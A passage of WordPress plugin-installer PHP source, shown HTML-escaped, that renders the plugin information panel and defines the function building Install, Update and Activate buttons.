				&lt;li&gt;&lt;a target=&quot;_blank&quot; href=&quot;&lt;?php echo esc_url( __( &#039;https://wordpress.org/plugins/&#039; ) . $api-&gt;slug ); ?&gt;/&quot;&gt;&lt;?php _e( &#039;WordPress.org Plugin Page &amp;#187;&#039; ); ?&gt;&lt;/a&gt;&lt;/li&gt;
			&lt;?php } if ( ! empty( $api-&gt;homepage ) ) { ?&gt;
				&lt;li&gt;&lt;a target=&quot;_blank&quot; href=&quot;&lt;?php echo esc_url( $api-&gt;homepage ); ?&gt;&quot;&gt;&lt;?php _e( &#039;Plugin Homepage &amp;#187;&#039; ); ?&gt;&lt;/a&gt;&lt;/li&gt;
			&lt;?php } if ( ! empty( $api-&gt;donate_link ) &amp;&amp; empty( $api-&gt;contributors ) ) { ?&gt;
				&lt;li&gt;&lt;a target=&quot;_blank&quot; href=&quot;&lt;?php echo esc_url( $api-&gt;donate_link ); ?&gt;&quot;&gt;&lt;?php _e( &#039;Donate to this plugin &amp;#187;&#039; ); ?&gt;&lt;/a&gt;&lt;/li&gt;
			&lt;?php } ?&gt;
		&lt;/ul&gt;
		&lt;?php if ( ! empty( $api-&gt;rating ) ) { ?&gt;
			&lt;h3&gt;&lt;?php _e( &#039;Average Rating&#039; ); ?&gt;&lt;/h3&gt;
			&lt;?php
			wp_star_rating(
				array(
					&#039;rating&#039; =&gt; $api-&gt;rating,
					&#039;type&#039;   =&gt; &#039;percent&#039;,
					&#039;number&#039; =&gt; $api-&gt;num_ratings,
				)
			);
			?&gt;
			&lt;p aria-hidden=&quot;true&quot; class=&quot;fyi-description&quot;&gt;
				&lt;?php
				printf(
					/* translators: %s: Number of ratings. */
					_n( &#039;(based on %s rating)&#039;, &#039;(based on %s ratings)&#039;, $api-&gt;num_ratings ),
					number_format_i18n( $api-&gt;num_ratings )
				);
				?&gt;
			&lt;/p&gt;
			&lt;?php
		}

		if ( ! empty( $api-&gt;ratings ) &amp;&amp; array_sum( (array) $api-&gt;ratings ) &gt; 0 ) {
			?&gt;
			&lt;h3&gt;&lt;?php _e( &#039;Reviews&#039; ); ?&gt;&lt;/h3&gt;
			&lt;p class=&quot;fyi-description&quot;&gt;&lt;?php _e( &#039;Read all reviews on WordPress.org or write your own!&#039; ); ?&gt;&lt;/p&gt;
			&lt;?php
			foreach ( $api-&gt;ratings as $key =&gt; $ratecount ) {
				// Avoid div-by-zero.
				$_rating    = $api-&gt;num_ratings ? ( $ratecount / $api-&gt;num_ratings ) : 0;
				$aria_label = esc_attr(
					sprintf(
						/* translators: 1: Number of stars (used to determine singular/plural), 2: Number of reviews. */
						_n(
							&#039;Reviews with %1$d star: %2$s. Opens in a new tab.&#039;,
							&#039;Reviews with %1$d stars: %2$s. Opens in a new tab.&#039;,
							$key
						),
						$key,
						number_format_i18n( $ratecount )
					)
				);
				?&gt;
				&lt;div class=&quot;counter-container&quot;&gt;
						&lt;span class=&quot;counter-label&quot;&gt;
							&lt;?php
							printf(
								&#039;&lt;a href=&quot;%s&quot; target=&quot;_blank&quot; aria-label=&quot;%s&quot;&gt;%s&lt;/a&gt;&#039;,
								&quot;https://wordpress.org/support/plugin/{$api-&gt;slug}/reviews/?filter={$key}&quot;,
								$aria_label,
								/* translators: %s: Number of stars. */
								sprintf( _n( &#039;%d star&#039;, &#039;%d stars&#039;, $key ), $key )
							);
							?&gt;
						&lt;/span&gt;
						&lt;span class=&quot;counter-back&quot;&gt;
							&lt;span class=&quot;counter-bar&quot; style=&quot;width: &lt;?php echo 92 * $_rating; ?&gt;px;&quot;&gt;&lt;/span&gt;
						&lt;/span&gt;
					&lt;span class=&quot;counter-count&quot; aria-hidden=&quot;true&quot;&gt;&lt;?php echo number_format_i18n( $ratecount ); ?&gt;&lt;/span&gt;
				&lt;/div&gt;
				&lt;?php
			}
		}
		if ( ! empty( $api-&gt;contributors ) ) {
			?&gt;
			&lt;h3&gt;&lt;?php _e( &#039;Contributors&#039; ); ?&gt;&lt;/h3&gt;
			&lt;ul class=&quot;contributors&quot;&gt;
				&lt;?php
				foreach ( (array) $api-&gt;contributors as $contrib_username =&gt; $contrib_details ) {
					$contrib_name = $contrib_details[&#039;display_name&#039;];
					if ( ! $contrib_name ) {
						$contrib_name = $contrib_username;
					}
					$contrib_name = esc_html( $contrib_name );

					$contrib_profile = esc_url( $contrib_details[&#039;profile&#039;] );
					$contrib_avatar  = esc_url( add_query_arg( &#039;s&#039;, &#039;36&#039;, $contrib_details[&#039;avatar&#039;] ) );

					echo &quot;&lt;li&gt;&lt;a href=&#039;{$contrib_profile}&#039; target=&#039;_blank&#039;&gt;&lt;img src=&#039;{$contrib_avatar}&#039; width=&#039;18&#039; height=&#039;18&#039; alt=&#039;&#039; /&gt;{$contrib_name}&lt;/a&gt;&lt;/li&gt;&quot;;
				}
				?&gt;
			&lt;/ul&gt;
					&lt;?php if ( ! empty( $api-&gt;donate_link ) ) { ?&gt;
				&lt;a target=&quot;_blank&quot; href=&quot;&lt;?php echo esc_url( $api-&gt;donate_link ); ?&gt;&quot;&gt;&lt;?php _e( &#039;Donate to this plugin &amp;#187;&#039; ); ?&gt;&lt;/a&gt;
			&lt;?php } ?&gt;
				&lt;?php } ?&gt;
	&lt;/div&gt;
	&lt;div id=&quot;section-holder&quot;&gt;
	&lt;?php
	$requires_php = isset( $api-&gt;requires_php ) ? $api-&gt;requires_php : null;
	$requires_wp  = isset( $api-&gt;requires ) ? $api-&gt;requires : null;

	$compatible_php = is_php_version_compatible( $requires_php );
	$compatible_wp  = is_wp_version_compatible( $requires_wp );
	$tested_wp      = ( empty( $api-&gt;tested ) || version_compare( get_bloginfo( &#039;version&#039; ), $api-&gt;tested, &#039;&lt;=&#039; ) );

	if ( ! $compatible_php ) {
		$compatible_php_notice_message  = &#039;&lt;p&gt;&#039;;
		$compatible_php_notice_message .= __( &#039;&lt;strong&gt;Error:&lt;/strong&gt; This plugin &lt;strong&gt;requires a newer version of PHP&lt;/strong&gt;.&#039; );

		if ( current_user_can( &#039;update_php&#039; ) ) {
			$compatible_php_notice_message .= sprintf(
				/* translators: %s: URL to Update PHP page. */
				&#039; &#039; . __( &#039;&lt;a href=&quot;%s&quot; target=&quot;_blank&quot;&gt;Click here to learn more about updating PHP&lt;/a&gt;.&#039; ),
				esc_url( wp_get_update_php_url() )
			) . wp_update_php_annotation( &#039;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&#039;, &#039;&lt;/em&gt;&#039;, false );
		} else {
			$compatible_php_notice_message .= &#039;&lt;/p&gt;&#039;;
		}

		wp_admin_notice(
			$compatible_php_notice_message,
			array(
				&#039;type&#039;               =&gt; &#039;error&#039;,
				&#039;additional_classes&#039; =&gt; array( &#039;notice-alt&#039; ),
				&#039;paragraph_wrap&#039;     =&gt; false,
			)
		);
	}

	if ( ! $tested_wp ) {
		wp_admin_notice(
			__( &#039;&lt;strong&gt;Warning:&lt;/strong&gt; This plugin &lt;strong&gt;has not been tested&lt;/strong&gt; with your current version of WordPress.&#039; ),
			array(
				&#039;type&#039;               =&gt; &#039;warning&#039;,
				&#039;additional_classes&#039; =&gt; array( &#039;notice-alt&#039; ),
			)
		);
	} elseif ( ! $compatible_wp ) {
		$compatible_wp_notice_message = __( &#039;&lt;strong&gt;Error:&lt;/strong&gt; This plugin &lt;strong&gt;requires a newer version of WordPress&lt;/strong&gt;.&#039; );
		if ( current_user_can( &#039;update_core&#039; ) ) {
			$compatible_wp_notice_message .= sprintf(
				/* translators: %s: URL to WordPress Updates screen. */
				&#039; &#039; . __( &#039;&lt;a href=&quot;%s&quot; target=&quot;_parent&quot;&gt;Click here to update WordPress&lt;/a&gt;.&#039; ),
				esc_url( self_admin_url( &#039;update-core.php&#039; ) )
			);
		}

		wp_admin_notice(
			$compatible_wp_notice_message,
			array(
				&#039;type&#039;               =&gt; &#039;error&#039;,
				&#039;additional_classes&#039; =&gt; array( &#039;notice-alt&#039; ),
			)
		);
	}

	foreach ( (array) $api-&gt;sections as $section_name =&gt; $content ) {
		$content = links_add_base_url( $content, &#039;https://wordpress.org/plugins/&#039; . $api-&gt;slug . &#039;/&#039; );
		$content = links_add_target( $content, &#039;_blank&#039; );

		$san_section = esc_attr( $section_name );

		$display = ( $section_name === $section ) ? &#039;block&#039; : &#039;none&#039;;

		echo &quot;\t&lt;div id=&#039;section-{$san_section}&#039; class=&#039;section&#039; style=&#039;display: {$display};&#039;&gt;\n&quot;;
		echo $content;
		echo &quot;\t&lt;/div&gt;\n&quot;;
	}
	echo &quot;&lt;/div&gt;\n&quot;;
	echo &quot;&lt;/div&gt;\n&quot;;
	echo &quot;&lt;/div&gt;\n&quot;; // #plugin-information-scrollable
	echo &quot;&lt;div id=&#039;$tab-footer&#039;&gt;\n&quot;;
	if ( ! empty( $api-&gt;download_link ) &amp;&amp; ( current_user_can( &#039;install_plugins&#039; ) || current_user_can( &#039;update_plugins&#039; ) ) ) {
		$button = wp_get_plugin_action_button( $api-&gt;name, $api, $compatible_php, $compatible_wp );
		$button = str_replace( &#039;class=&quot;&#039;, &#039;class=&quot;right &#039;, $button );

		if ( ! str_contains( $button, _x( &#039;Activate&#039;, &#039;plugin&#039; ) ) ) {
			$button = str_replace( &#039;class=&quot;&#039;, &#039;id=&quot;plugin_install_from_iframe&quot; class=&quot;&#039;, $button );
		}

		echo wp_kses_post( $button );
	}
	echo &quot;&lt;/div&gt;\n&quot;;

	wp_print_request_filesystem_credentials_modal();
	wp_print_admin_notice_templates();

	iframe_footer();
	exit;
}

/**
 * Gets the markup for the plugin install action button.
 *
 * @since 6.5.0
 *
 * @param string       $name           Plugin name.
 * @param array|object $data           {
 *     An array or object of plugin data. Can be retrieved from the API.
 *
 *     @type string   $slug             The plugin slug.
 *     @type string[] $requires_plugins An array of plugin dependency slugs.
 *     @type string   $version          The plugin&#039;s version string. Used when getting the install status.
 * }
 * @param bool         $compatible_php   The result of a PHP compatibility check.
 * @param bool         $compatible_wp    The result of a WP compatibility check.
 * @return string The markup for the dependency row button. An empty string if the user does not have capabilities.
 */
function wp_get_plugin_action_button( $name, $data, $compatible_php, $compatible_wp ) {
	$button           = &#039;&#039;;
	$data             = (object) $data;
	$status           = install_plugin_install_status( $data );
	$requires_plugins = $data-&gt;requires_plugins ?? array();

	// Determine the status of plugin dependencies.
	$installed_plugins                   = get_plugins();
	$active_plugins                      = get_option( &#039;active_plugins&#039;, array() );
	$plugin_dependencies_count           = count( $requires_plugins );
	$installed_plugin_dependencies_count = 0;
	$active_plugin_dependencies_count    = 0;
	foreach ( $requires_plugins as $dependency ) {
		foreach ( array_keys( $installed_plugins ) as $installed_plugin_file ) {
			if ( str_contains( $installed_plugin_file, &#039;/&#039; ) &amp;&amp; explode( &#039;/&#039;, $installed_plugin_file )[0] === $dependency ) {
				++$installed_plugin_dependencies_count;
			}
		}

		foreach ( $active_plugins as $active_plugin_file ) {
			if ( str_contains( $active_plugin_file, &#039;/&#039; ) &amp;&amp; explode( &#039;/&#039;, $active_plugin_file )[0] === $dependency ) {
				++$active_plugin_dependencies_count;
			}
		}
	}
	$all_plugin_dependencies_installed = $installed_plugin_dependencies_count === $plugin_dependencies_count;
	$all_plugin_dependencies_active    = $active_plugin_dependencies_count === $plugin_dependencies_count;

	if ( current_user_can( &#039;install_plugins&#039; ) || current_user_can( &#039;update_plugins&#039; ) ) {
		switch ( $status[&#039;status&#039;] ) {
			case &#039;install&#039;:
				if ( $status[&#039;url&#039;] ) {
					if ( $compatible_php &amp;&amp; $compatible_wp &amp;&amp; $all_plugin_dependencies_installed &amp;&amp; ! empty( $data-&gt;download_link ) ) {
						$button = sprintf(
							&#039;&lt;a class=&quot;install-now button&quot; data-slug=&quot;%s&quot; href=&quot;%s&quot; aria-label=&quot;%s&quot; data-name=&quot;%s&quot; role=&quot;button&quot;&gt;%s&lt;/a&gt;&#039;,
							esc_attr( $data-&gt;slug ),
							esc_url( $status[&#039;url&#039;] ),
							/* translators: %s: Plugin name and version. */
							esc_attr( sprintf( _x( &#039;Install %s now&#039;, &#039;plugin&#039; ), $name ) ),
							esc_attr( $name ),
							_x( &#039;Install Now&#039;, &#039;plugin&#039; )
						);
					} else {
						$button = sprintf(
							&#039;&lt;button type=&quot;button&quot; class=&quot;install-now button button-disabled&quot; disabled=&quot;disabled&quot;&gt;%s&lt;/button&gt;&#039;,
							_x( &#039;Install Now&#039;, &#039;plugin&#039; )
						);
					}
				}
				break;

			case &#039;update_available&#039;:
				if ( $status[&#039;url&#039;] ) {
					if ( $compatible_php &amp;&amp; $compatible_wp ) {
						$button = sprintf(
							&#039;&lt;a class=&quot;update-now button aria-button-if-js&quot; data-plugin=&quot;%s&quot; data-slug=&quot;%s&quot; href=&quot;%s&quot; aria-label=&quot;%s&quot; data-name=&quot;%s&quot; role=&quot;button&quot;&gt;%s&lt;/a&gt;&#039;,
							esc_attr( $status[&#039;file&#039;] ),
							esc_attr( $data-&gt;slug ),
							esc_url( $status[&#039;url&#039;] ),
							/* translators: %s: Plugin name and version. */
							esc_attr( sprintf( _x( &#039;Update %s now&#039;, &#039;plugin&#039; ), $name ) ),
							esc_attr( $name ),
							_x( &#039;Update Now&#039;, &#039;plugin&#039; )
						);
					} else {
						$button = sprintf(
							&#039;&lt;button type=&quot;button&quot; class=&quot;button button-disabled&quot; disabled=&quot;disabled&quot;&gt;%s&lt;/button&gt;&#039;,
							_x( &#039;Update Now&#039;, &#039;plugin&#039; )
						);
					}
				}
				break;

			case &#039;latest_installed&#039;:
			case &#039;newer_installed&#039;:
				if ( is_plugin_active( $status[&#039;file&#039;] ) ) {
					$button = sprintf(
						&#039;&lt;button type=&quot;button&quot; class=&quot;button button-disabled&quot; disabled=&quot;disabled&quot;&gt;%s&lt;/button&gt;&#039;,
						_x( &#039;Active&#039;, &#039;plugin&#039; )
					);
				} elseif ( current_user_can( &#039;activate_plugin&#039;, $status[&#039;file&#039;] ) ) {
					if ( $compatible_php &amp;&amp; $compatible_wp &amp;&amp; $all_plugin_dependencies_active ) {
						$button_text = _x( &#039;Activate&#039;, &#039;plugin&#039; );
						/* translators: %s: Plugin name. */
						$button_label = _x( &#039;Activate %s&#039;, &#039;plugin&#039; );
						$activate_url = add_query_arg(
							array(
								&#039;_wpnonce&#039; =&gt; wp_create_nonce( &#039;activate-plugin_&#039; . $status[&#039;file&#039;] ),
								&#039;action&#039;   =&gt; &#039;activate&#039;,
								&#039;plugin&#039;   =&gt; $status[&#039;file&#039;],
							),
							network_admin_url( &#039;plugins.php&#039; )
						);

						if ( is_network_admin() ) {
							$button_text = _x( &#039;Network Activate&#039;, &#039;plugin&#039; );
							/* translators: %s: Plugin name. */
							$button_label = _x( &#039;Network Activate %s&#039;, &#039;plugin&#039; );
							$activate_url = add_query_arg( array( &#039;networkwide&#039; =&gt; 1 ), $activate_url );
						}

						$button = sprintf(
							&#039;&lt;a href=&quot;%1$s&quot; data-name=&quot;%2$s&quot; data-slug=&quot;%3$s&quot; data-plugin=&quot;%4$s&quot; class=&quot;button button-primary activate-now&quot; aria-label=&quot;%5$s&quot; role=&quot;button&quot;&gt;%6$s&lt;/a&gt;&#039;,
							esc_url( $activate_url ),
							esc_attr( $name ),
							esc_attr( $data-&gt;slug ),
							esc_attr( $status[&#039;file&#039;] ),
							esc_attr( sprintf( $button_label, $name ) ),
							$button_text
						);
					} else {
						$button = sprintf(
							&#039;&lt;button type=&quot;button&quot; class=&quot;button button-disabled&quot; disabled=&quot;disabled&quot;&gt;%s&lt;/button&gt;&#039;,
							is_network_admin() ? _x( &#039;Network Activate&#039;, &#039;plugin&#039; ) : _x( &#039;Activate&#039;, &#039;plugin&#039; )
						);
					}
				} else {
					$button = sprintf(
						&#039;&lt;button type=&quot;button&quot; class=&quot;button button-disabled&quot; disabled=&quot;disabled&quot;&gt;%s&lt;/button&gt;&#039;,
						_x( &#039;Installed&#039;, &#039;plugin&#039; )
					);
				}
				break;
		}
	}

	return $button;
}
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